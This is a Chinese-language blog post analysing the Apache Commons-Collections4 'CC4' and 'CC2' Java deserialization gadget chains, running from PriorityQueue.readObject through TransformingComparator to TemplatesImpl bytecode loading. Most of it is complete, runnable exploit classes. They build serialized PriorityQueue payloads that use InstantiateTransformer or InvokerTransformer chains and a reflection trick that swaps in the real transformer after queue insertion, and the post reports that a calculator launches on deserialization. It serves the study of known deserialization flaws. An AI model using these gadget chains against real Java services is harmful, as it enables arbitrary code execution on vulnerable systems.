CommonCollections4与CommonCollections2利用链分析

GTL-JU Lv3

CommonsCollections4

一、前言

CC4这条利用链与前面不同的是用到了新的Commons-Collections4依赖库,我们在前面分析的CC1,3.6用的都是Commons-Collections库3.2.1的版本

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC4这条利用链最后和我们前面分析的利用链是一样的,使用Transform类对象的tranform方法直接执行代码,或者像CC3里面一样利用TemplatesImpl类去实现类加载执行任意代码。

二、利用链分析

无论我们利用链的后面是使用tranform直接执行代码,还是利用TemplatesImpl类去实现类加载执行任意代码,都是要向上找哪里调用了transfom方法

image-20230905084904958

可以看到又很多类方法调用了transform方法

CC4这里用的是TransformingComparator类的compare()方法:

1
2
3
4
5
6
@Override
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里的compare调用了tranform方法,那我们接下来就要继续找对compare的调用,最好是直接重写了readObject方法

image-20230905085727058

可以看到这里面有很多,所有我们想要直接找到调用compare方法,并且可以直接readobject的很难,需要很强的java代码功底

我们这里是为了分析利用链,所有就不一个个类的找了

在CC4中利用的是java.util.PriorityQueue 优先队列这个类。

image-20230907184933597

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

在PriorityQueue类的siftDownUsingComparator中调用了compare方法

到这里我们可以看到是通过comparator调用了compare方法

image-20230907185119139

而且我们可以看到comparator是初始化的时候传进去的,所以是可控的

image-20230907185224377

而且TransformingComparator类恰恰是实现了Comparator和Serializable接口

而在前面分析CC3并没有用到这里是因为旧的Commons-Collections包中TransformingComparator类没有实现Serializable接口,导致无法使用这条链。

那我们最好的就是能够通过PriorityQueue类的readObject方法直接调用到siftDownUsingComparator方法

那就向上找siftUpUsingComparator的调用

1
2
3
4
5
6
7
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

在siftDown里面调用了siftUpUsingComparator方法

继续向上找调用

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

那我们这里就是继续找heapify方法的调用

image-20230905090932057

可以看到有两处调用了heapify方法

然后readObject方法中也调用了这个方法

那我们的利用链就可以构造为:

1
PriorityQueue.readObject() --> PriorityQueue.heapify() --> PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() --> Transformer.transform()

这是CC4的前半部分的利用链,后半部分就是CC3的写法了动态加载字节码或者transform直接进行命令执行

这里就以动态加载字节码进行命令执行

我们这里先构造利用TemplatesImpl加载字节码

这里我们直接把CC3中的拿过了用就行

1
2
3
4
5
6
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("字节码文件"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

以及用 InstantiateTransformer类将TrAXFilter初始化,实现调用TemplatesImpl.newTransformer()方法,触发后续的调用:

这里其实和CC3都是一样的

那么我们后续的利用链代码就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

org.apache.commons.collections.functors.InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
//instantiateTransformer.transform( TrAXFilter.class);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

那么后面我们要做的就行通过TransformingComparator类的compare方法调用transform方法

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

image-20230907193505710

decorated可空是在TransformingComparator类初始化时传入的

那我们这里直接可以把我们前面的chainTransformer作为参数传入

1
TransformingComparator transformingComparator =new TransformingComparator(chainedTransformer);

那么后面就是对compare的调用了

前面我们分析对于compare的调用是在PriorityQueue类中实现的

image-20230907193751197

我们前面分析这个comparator也是可控的,所以我们可以直接在初始化类PriorityQueue将transformingComparator传入进去

进而触发compare,触发后续利用链

1
PriorityQueue priorityQueue =new PriorityQueue(transformingComparator);

其实到这里我们已经来到了readObject的类,后面就是反序列化触发到siftDownUsingComparator()方法

那我们这里直接开始从readObject在分析一遍

image-20230907194311361

readObject后就会触发到heapify

跟进

image-20230907194337573

在heapify进行for循环就会调用sitfDown

继续跟进

image-20230907194440954

到siftdown,这里会进行一个if判断,如果comparator不为空就会调用siftDownUsingComparator()

我们前面在初始化PriorityQueue类时,将 transformingComparator作为参数赋值给了comparator用于触发后续利用链

所以这里的if判断是肯定成立的

进而触发了siftDownUsingComparator(k, x);

跟进:

image-20230907194844692

在if判断中存在对compare的调用

但是这里我们分析可以得知,在while循环中必然会触发if判读进而触发compare,触发后续利用链。

所以理论上我们现在只需要进行序列化和反序列化就能够触发后续利用链。

那么到这里我们的exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class CC4  {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator =new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue =new PriorityQueue(transformingComparator);
serializable(priorityQueue);
unserializable();





}

public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

但是我们这里进行序列化和反序列化操作后并没有什么弹出计算器,也没有报错。

image-20230907200432678

打断点跟进调试

image-20230907200509703

进行调试

image-20230907201714594

这里大概就是将队列中的数据一个个反序列化,然后存储到定义的queue数组中

image-20230907201843047

我们也可以看到在序列化的时候就是通过循环一个个的序列化

跟进

image-20230907201949994

我们到这一步就没有进入到for循环中

这也可能是我们代码没有正常弹出计算器的原因

进入for循环的条件是i>=0

而i的值是等于(size>>>1)

size >>> 1 是一个位操作,表示将 size 的二进制表示向右移动一位(相当于将 size 除以 2 并向下取整)

image-20230907202155487

而根据调试信息size的值为0,因为我们并没有向队列中传入数据

队列中的元素个数为0,所以导致size的值为0

size为0,那么右移三位还是0,然后减一,使i的值为-1,导致不满足循环的条件,无法进入循环

那么我们想要进入循环就要使size>>>1=1

image-20230907202643216

然后当size等于2的时候右移三位值为1

所以我们至少向队列中传入两个数据

1
2
priorityQueue.add(1);
priorityQueue.add(2);

但是添加后,即使我们不进行反序列化也会弹出计算器

image-20230907203047503

我们这里跟进到add分析一下

image-20230907203138701

继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

我们添加了两个元素,所以size=2

最终会调用到siftip,继续跟进

image-20230907203824052

同样的comparator不为空,这里会调用siftupUsingComparator()方法

继续跟进

image-20230907203940479

在这里也会调用到compare方法进而触发了后续的利用链,造成了命令执行

其实这里和我们前面代码本地执行的解决方法一样

在add前传递一个假的chaintransform,在add后再将真的chaintransform传进去

那我们这里还可以用ConstantTransformer来实现

1
TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));

然后再添加完,再通过反射修改为chaintransformer

反射修改

1
2
3
4
Class c= transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class CC4  {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue =new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c= transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

serializable(priorityQueue);
unserializable();

}

public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

image-20230907205025239

然后进行反序列化

image-20230907205044593

成功弹出了计算器。

三、总结

image-20230907210104034

CommonsCollections2利用链分析

在上面CC4中我们是通过tranformeringComparator的cpmpare方法调用TiAXFilter类去调用后续的通过利用TemplatesImpl加载字节码进行命令执行

但是我们在CC3中除了利用TiAXFilter类去调用后续的TemplatesImpl加载字节码还有一种方法是通过invokerTransformer去调用TemplatesImpl的newTransformer方法

进行调用后续的加载字节码进行命令执行

而CC2就是用这种方法去调用后续利用链

所以说CC2就是CC4的前半部分利用链和CC3通过Invokertransform调用TemplatesImpl去动态加载字节码的结合

image-20230908105610221

那这里直接把前面的代码结合一下就行了

POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package leijiazai;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {

public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator =new TransformingComparator( new ConstantTransformer(1));
PriorityQueue priorityQueue =new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c= transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

serializable(priorityQueue);
unserializable();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);

}
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

运行测试:

序列化

image-20230908105736346

反序列化

image-20230908105757687

POC2

当然其实我们这里也可以不用chaintransform

直接调用invokertransform

image-20230908111136994

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC22 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c= transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,invokerTransformer);

serializable(priorityQueue);
unserializable();



}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);

}
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

image-20230908112513474

三、总结

image-20230908112556125

  • 标题: CommonCollections4与CommonCollections2利用链分析
  • 作者: GTL-JU
  • 创建于: 2023-09-08 11:30:45
  • 更新于: 2023-09-08 11:37:37
  • 链接: https://gtl-ju.github.io/2023/09/08/CommonCollections4与CommonCollections2利用链分析/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。